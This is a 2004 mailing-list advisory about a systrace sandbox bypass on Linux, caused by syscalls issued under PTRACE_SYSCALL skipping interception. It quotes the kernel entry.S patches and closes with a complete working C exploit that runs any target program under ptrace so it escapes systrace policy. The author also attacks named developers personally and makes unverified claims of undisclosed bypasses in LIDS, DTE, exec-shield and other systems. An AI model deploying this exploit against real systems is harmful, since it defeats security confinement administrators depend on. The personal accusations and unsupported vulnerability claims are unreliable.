Date: Sat, 27 Mar 2004 16:01:03 -0500 (EST)
From: [email protected]
To: [email protected]Subject: systrace silently patches full local bypass vulnerability on Linux
Cc: [email protected]
systrace silently patches full local bypass vulnerability on Linux
Introductory Note:
I will not be replying to any posts in response to this mail, no
matter how many times you intentionally misspell my name or
attack me personally. Annoying me in an attempt to get me
to release vulnerability details to you does not work.
Executive Summary:
Don't use systrace. This is only one of three exploitable bugs
that have existed in systrace since its creation. One other
bug is a local root and applies across all OSes systrace
supports (including OpenBSD!), while the other is specific to
Linux and allows a local bypass. Marius Eriksen has silently
fixed this bug, and there is no doubt that he will try to fix
the other two silently also. Hopefully this advisory will persuade
Marius and Niels to not go that route, though I don't see
either bug being fixed any time soon, as they are both design
flaws and nearly impossible to catch through empirical testing.
Vulnerability Detail:
Let's look at the systrace v1.4 patch:
--- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4 2003-06-30
02:15:04.000000000 -0400
+++ linux-2.4.21-marius/arch/i386/kernel/entry.S 2003-06-30
02:15:04.000000000 -0400
@@ -207,8 +207,21 @@ ENTRY(system_call)
jne tracesys
cmpl $(NR_syscalls),%eax
jae badsys
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax
+ call SYMBOL_NAME(systrace_intercept)
+ cmpl $0,%eax
+ jl ret
+ movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
movl %eax,EAX(%esp) # save the return value
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax # pass in stack
+ call SYMBOL_NAME(systrace_result)
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
ENTRY(ret_from_sys_call)
cli # need_resched and signals
atomic test
cmpl $0,need_resched(%ebx)
What I want to direct your attention to is the first line of the
patch, "jne tracesys", which for you OpenBSD developers of the
world that don't understand assembly means that the system call
entry point is redirecting execution flow to another place in the
routine where the system call will be called if the current
process is being ptrace'd with PTRACE_SYSCALL, which single
steps through each system call in an application. When the
system call is called at the different location, systrace will
not have intercepted it.
Let's look at the latest v1.5 patch for 2.4.24 (though a
similar fix is present in the 2.6.3 patch also):
diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S
--- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5 2004-01-26
00:35:49.000000000 -0500
+++ linux-2.4.24-marius/arch/i386/kernel/entry.S 2004-01-26
00:52:52.000000000 -0500
@@ -207,8 +207,21 @@ ENTRY(system_call)
jne tracesys
cmpl $(NR_syscalls),%eax
jae badsys
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax
+ call SYMBOL_NAME(systrace_intercept)
+ cmpl $0,%eax
+ jl ret
+ movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
movl %eax,EAX(%esp) # save the return value
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax # pass in stack
+ call SYMBOL_NAME(systrace_result)
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
ENTRY(ret_from_sys_call)
cli # need_resched and signals
atomic test
cmpl $0,need_resched(%ebx)
@@ -243,8 +256,20 @@ tracesys:
movl ORIG_EAX(%esp),%eax
cmpl $(NR_syscalls),%eax
jae tracesys_exit
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax
+ call SYMBOL_NAME(systrace_intercept)
+ cmpl $0,%eax
+ jl tracesys_exit
+ movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
+#ifdef CONFIG_SYSTRACE
+ movl %esp,%eax # pass in stack
+ call SYMBOL_NAME(systrace_result)
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
tracesys_exit:
call SYMBOL_NAME(syscall_trace)
jmp ret_from_sys_call
As we can see here, there is a lot more code in entry.S. And
for what reason? Let's look to the announcement on the mailing list:
"which is for linux 2.4.24 and includes a few updates i made when forward
porting systrace to linux 2.6.1. it also includes some updated system
call definitions, including the xattr/acl related system calls."
Supporting more syscalls doesn't mean that Marius had to modify
entry.S. The internal systrace functions handle all that.
This clearly was not simple port work either; there was a
deliberate attempt to add the systrace hooks to the syscall
tracing case.
Note to those stinking up the security community cesspool:
I'm sure rather than taking responsibility for this blatant
attempt to hide an exploitable vulnerability that has been
known in the blackhat community ever since systrace was
released for Linux (almost two years now), Marius and Niels will
instead try to attack my character, misspell my name, claim
that I found the bug by diffing, or anything else that will
take the attention off of this bug. In fact, I know of several
others that have discovered this bug independently, who I hope
will respond to this advisory and give weight to my claim if
there is any doubt on the part of Niels and Marius. I apologize
for the delay in this advisory, since when I have checked the
systrace patch for updates, I would usually check for the local
root hole, not this ptrace-related vulnerability.
There seems to be some common sentiment in the community, and
by community I mean people sitting in cubicles with the false
belief that they understand security (eg. RedHat employees),
that bugs don't exist until they're revealed to the public.
There's the belief that someone who claims to have private
exploits but chooses not to release them is in every case a
liar, even though there is every reason to believe that person.
There also seems to be the ridiculous notion among certain
developers, and also by people who cannot code at all (eg.
Joshua Brindle aka Method, leader of the Gentoo Hardened
project) that they can treat exploit developers any way they
want and expect to be treated fairly in return through prior
disclosure of vulnerabilities. I'm not just speaking about
myself here. The reaction against noir when he posted his
OpenBSD local root is a prime example. The cost of freedom of
speech is responsibility for that speech.
There was recent doubt as to whether I had discovered a
number of vulnerabilities in other security systems. Though it
should seem obvious that someone developing a security system
would look at other systems and find flaws in them quickly (and
I would seriously doubt the ability of any "whitehat" who has
not), some people obviously do not think so.
There are protection bypass vulnerabilities in:
LIDS
DTE
exec-shield (and no, it has nothing to do with paxtest)
linsec
systrace
There were also recently several scathing comments made by
Russell Coker, an employee of RedHat. Some background info on
Russell: he's from Australia, he's not used to IRC, he can't
name any blackhats off-hand, and somehow he's a (self-titled?)
security expert and wants everyone to use SELinux. I had made
the claim in a channel that the Debian SELinux test box was
owned by stealth due to a configuration error. It turned out
that stealth had not owned the Debian SELinux test box, and
Russell Coker certainly made everyone aware of this. What he
of course failed to mention (and that he was knowledgeable
of, as I was CC'd on the mails) was that stealth did own an
SELinux test machine some time back in Australia due to a
configuration error. My mistake was believing that there was
more than one user of SELinux in Australia. I should also note
that that the SELinux test box challenge is a hoax. Russell
seems to think not however:
"I've been running SE Linux machines that anyone can try to crack as root
since the middle of 2001."
http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2
"Is anyone offering root access to any machine running any security
system other than SE Linux?"
http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain
There's also an interesting omission here about how much Russell is
relying on the "security" of SELinux for the test machine:
"It was claimed that the machine was cracked some months ago, if so the attacker would have
had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS
packages."
http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2
What's that now? Kernel upgrades? OS packages? Upgrades of policy?
It's also interesting how quickly they've forgot about this:
http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2
There is no reason why the box couldn't have been hacked when
you realize that any of the recent local kernel exploits for
Linux could have been used to own the box. Certainly someone
could have used the exploits before they were released to the
public to own the machine; I myself was in possession of one of
the exploits weeks before it was released publicly. Russell
also seems to think that real hackers would want to waste their
private exploits on his useless test machine, clearly evidence
of his complete lack of understanding of the blackhat
community, the very people he claims to know how to protect
himself (and you) from.
Without much further ado, here's a simple exploit for the
silently fixed systrace vulnerability. I apologize for its lack
of multithreading.
#include <stdio.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int pid;
int input[2];
int output[2];
int error[2];
int ret;
fd_set readfds;
if (argc < 2) {
printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");
exit(0);
}
ret = pipe(input);
if (ret) {
printf("Unable to create pipe\n");
exit(1);
}
ret = pipe(output);
if (ret) {
printf("Unable to create pipe\n");
exit(1);
}
ret = pipe(error);
if (ret) {
printf("Unable to create pipe\n");
exit(1);
}
pid = fork();
if (pid > 0) {
char somechar;
int highest;
struct timeval time;
time.tv_sec = 0;
time.tv_usec = 1000;
close(input[0]);
close(output[1]);
close(error[1]);
FD_ZERO(&readfds);
FD_SET(0, &readfds);
FD_SET(output[0], &readfds);
FD_SET(error[0], &readfds);
while (1) {
FD_SET(0, &readfds);
FD_SET(output[0], &readfds);
FD_SET(error[0], &readfds);
time.tv_sec = 0;
time.tv_usec = 1000;
while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {
if (FD_ISSET(0, &readfds)) {
if (read(0, &somechar, 1) != 1)
exit(0);
write(input[1], &somechar, 1);
}
if (FD_ISSET(output[0], &readfds)) {
if (read(output[0], &somechar, 1) != 1)
exit(0);
write(1, &somechar, 1);
}
if (FD_ISSET(error[0], &readfds)) {
if (read(error[0], &somechar, 1) != 1)
exit(0);
write(2, &somechar, 1);
}
FD_SET(0, &readfds);
FD_SET(output[0], &readfds);
FD_SET(error[0], &readfds);
time.tv_sec = 0;
time.tv_usec = 1000;
}
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
if (errno == ESRCH)
break;
}
} else if (pid == 0) {
close(input[1]);
close(output[0]);
close(error[0]);
close(0);
dup(input[0]);
close(1);
dup(output[1]);
close(2);
dup(error[1]);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
if (argc == 2)
execv(argv[1], NULL);
else
execv(argv[1], argv + 1);
} else {
fprintf(stderr, "Unable to fork.\n");
exit(1);
}
return 0;
}
Be kind to others. Know your enemy. Thank you for your time.
-Brad